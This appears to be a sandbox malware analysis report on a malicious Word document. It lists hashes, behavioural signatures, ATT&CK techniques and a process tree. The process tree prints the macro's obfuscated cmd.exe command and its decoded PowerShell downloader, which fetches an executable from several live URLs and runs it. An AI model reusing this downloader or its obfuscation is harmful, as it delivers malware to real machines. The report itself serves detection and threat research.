13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98

General

Target

13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98.doc
Size

128KB
MD5

aac6f90d4b8c995ea356da61a64c7e73
SHA1

070252aee72f04f1db312a37a4a750ed9863833f
SHA256

13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98
SHA512

337ae4e3b73674ef4221bbca003168203a487d58b6a79d81b424bb0938c081678491f86575904e6b723f26d176266c843e8704dc2188e74fba622e15aa133bc6
SSDEEP

1536:l81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadiy03224HEXt1:l8GhDS0o9zTGOZD6EbzCdimu

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2908	1188	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
25	1848	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1188	WINWORD.EXE
1188	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1848	powershell.exe
1848	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1848	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1188	WINWORD.EXE
1188	WINWORD.EXE
1188	WINWORD.EXE
1188	WINWORD.EXE
1188	WINWORD.EXE
1188	WINWORD.EXE
1188	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1188 wrote to memory of 2908	1188	WINWORD.EXE	86
PID 1188 wrote to memory of 2908	1188	WINWORD.EXE	86
PID 2908 wrote to memory of 4580	2908	cmd.exe	88
PID 2908 wrote to memory of 4580	2908	cmd.exe	88
PID 4580 wrote to memory of 432	4580	cmd.exe	94
PID 4580 wrote to memory of 432	4580	cmd.exe	94
PID 4580 wrote to memory of 1848	4580	cmd.exe	95
PID 4580 wrote to memory of 1848	4580	cmd.exe	95

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\13dd59cf080fa9981fb9a28c390d3bbdaca4e672d656cc2f6993917ecd323d98.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1188
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set wO6i=;'Mwo'=wwv$}}{hctac}};kaerb;'zUj'=ptt$;nQu$ metI-ekovnI{ )00008 eg- htgnel.)nQu$ metI-teG(( fI;'pab'=urB$;)nQu$ ,pMC$(eliFdaolnwoD.fCm${yrt{)sBk$ ni pMC$(hcaerof;'exe.'+LRT$+'\'+pmet:vne$=nQu$;'atr'=ldh$;'664' = LRT$;'mhI'=BEN$;)'@'(tilpS.'2aHLZu6J/moc.tnayrbatinauoyevigrofi//:ptth@PV7AYlk9Hx/ur.84otvatakorp//:ptth@Tn8LXMyfM/moc.ppabojsupo//:ptth@HD8RZfE/moc.tropsruotneve//:ptth@xegIS17TTs/moc.dniretseuq.www//:ptth'=sBk$;tneilCbeW.teN tcejbo-wen=fCm$;'rnU'=YzO$&&for /L %D in (464,-1,0)do set Vwf=!Vwf!!wO6i:~%D,1!&&if %D leq 0 echo !Vwf:*Vwf!=! |powershell -"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\system32\cmd.exe
    CmD /V:O/C"set wO6i=;'Mwo'=wwv$}}{hctac}};kaerb;'zUj'=ptt$;nQu$ metI-ekovnI{ )00008 eg- htgnel.)nQu$ metI-teG(( fI;'pab'=urB$;)nQu$ ,pMC$(eliFdaolnwoD.fCm${yrt{)sBk$ ni pMC$(hcaerof;'exe.'+LRT$+'\'+pmet:vne$=nQu$;'atr'=ldh$;'664' = LRT$;'mhI'=BEN$;)'@'(tilpS.'2aHLZu6J/moc.tnayrbatinauoyevigrofi//:ptth@PV7AYlk9Hx/ur.84otvatakorp//:ptth@Tn8LXMyfM/moc.ppabojsupo//:ptth@HD8RZfE/moc.tropsruotneve//:ptth@xegIS17TTs/moc.dniretseuq.www//:ptth'=sBk$;tneilCbeW.teN tcejbo-wen=fCm$;'rnU'=YzO$&&for /L %D in (464,-1,0)do set Vwf=!Vwf!!wO6i:~%D,1!&&if %D leq 0 echo !Vwf:*Vwf!=! |powershell -"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4580
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $OzY='Unr';$mCf=new-object Net.WebClient;$kBs='http://www.questerind.com/sTT71SIgex@http://eventoursport.com/EfZR8DH@http://opusjobapp.com/MfyMXL8nT@http://prokatavto48.ru/xH9klYA7VP@http://iforgiveyouanitabryant.com/J6uZLHa2'.Split('@');$NEB='Ihm';$TRL = '466';$hdl='rta';$uQn=$env:temp+'\'+$TRL+'.exe';foreach($CMp in $kBs){try{$mCf.DownloadFile($CMp, $uQn);$Bru='bap';If ((Get-Item $uQn).length -ge 80000) {Invoke-Item $uQn;$ttp='jUz';break;}}catch{}}$vww='owM'; "
      4⤵
      PID:432
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDD098.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b50zjgds.fpe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
memory/1188-27-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-32-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-5-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-7-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1188-4-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1188-11-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-10-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-9-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-12-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

Filesize
64KB

Download
memory/1188-8-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-13-0x00007FFC369B0000-0x00007FFC369C0000-memory.dmp

Filesize
64KB

Download
memory/1188-0-0x00007FFC78D0D000-0x00007FFC78D0E000-memory.dmp

Filesize
4KB

Download
memory/1188-31-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-6-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-2-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1188-1-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1188-3-0x00007FFC38CF0000-0x00007FFC38D00000-memory.dmp

Filesize
64KB

Download
memory/1188-54-0x00007FFC78D0D000-0x00007FFC78D0E000-memory.dmp

Filesize
4KB

Download
memory/1188-55-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-64-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-61-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-58-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-59-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1188-60-0x00007FFC78C70000-0x00007FFC78E65000-memory.dmp

Filesize
2.0MB

Download
memory/1848-57-0x00000225C8590000-0x00000225C8606000-memory.dmp

Filesize
472KB

Download
memory/1848-56-0x00000225C84C0000-0x00000225C8504000-memory.dmp

Filesize
272KB

Download
memory/1848-44-0x00000225C7FD0000-0x00000225C7FF2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads